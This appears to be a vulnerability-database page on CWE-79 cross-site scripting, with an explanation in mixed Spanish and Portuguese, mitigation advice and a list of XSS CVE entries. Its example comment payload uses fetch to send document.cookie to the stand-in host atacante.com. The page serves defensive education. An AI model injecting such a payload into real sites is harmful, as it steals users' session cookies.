Fallos del tipo CWE-79

30.495 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-59593MEDIUMWordPress Colibri Page Builder Plugin < 1.0.334 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58669MEDIUMWordPress Magento 2 WordPress Integration plugin <= 1.4.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-60176MEDIUMWordPress WP Tesseract Plugin <= 1.0.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-22888MEDIUMMovable Type contains a stored cross-site scripting vulnerability in the custom block edit page of MT Block Editor. If exploited, an arbitraEPSS 0.2%CVE-2025-58960MEDIUMWordPress IP Based Login Plugin <= 2.4.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-53575LOWEspoCRM: Persistent XSS via CSP nonce injection in applicationName setting by admin userEPSS 0.2%CVE-2025-8462MEDIUMRT Easy Builder <= 2.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-43826MEDIUMStored cross-site scripting (XSS) vulnerabilities in Web Content translation in Liferay Portal 7.4.0 through 7.4.3.112, and older unsupporteEPSS 0.2%CVE-2025-51962MEDIUMA HTML Injection vulnerability in the comment section of the project page in MicroStudio 24.01.29 allows remote attackers to inject arbitrarEPSS 0.2%CVE-2026-24600MEDIUMWordPress Penci Review plugin <= 3.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-57998MEDIUMWordPress E-namad & Shamed Logo Manager Plugin <= 2.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-24558MEDIUMWordPress ABG Rich Pins plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-62246MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in Liferay Portal 7.4.0 through 7.4.3.111, and older unsupported versions, and LiEPSS 0.2%CVE-2025-43821MEDIUMCross-site scripting (XSS) vulnerability in the Commerce Product Comparison Table widget in Liferay Portal 7.4.0 through 7.4.3.111, and LifeEPSS 0.2%CVE-2026-1441MEDIUMReflected Cross-Site Scripting (XSS) vulnerability in Graylog Web InterfaceEPSS 0.2%CVE-2026-45303HIGHOpen WebUI: Stored XSS via the HTML renedering viewEPSS 0.2%CVE-2026-26195MEDIUMGogs: Stored XSS in branch and wiki views through author and committer namesEPSS 0.2%CVE-2025-58271MEDIUMWordPress AnyClip Luminous Studio Plugin <= 1.3.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-56393MEDIUMCraft CMS - Multiple Stored Cross-Site Scripting in Settings Names and Field OptionsEPSS 0.2%CVE-2025-62237MEDIUMStored cross-site scripting (XSS) vulnerability in Commerce’s view order page in Liferay Portal 7.4.3.8 through 7.4.3.111, and Liferay DXP 2EPSS 0.2%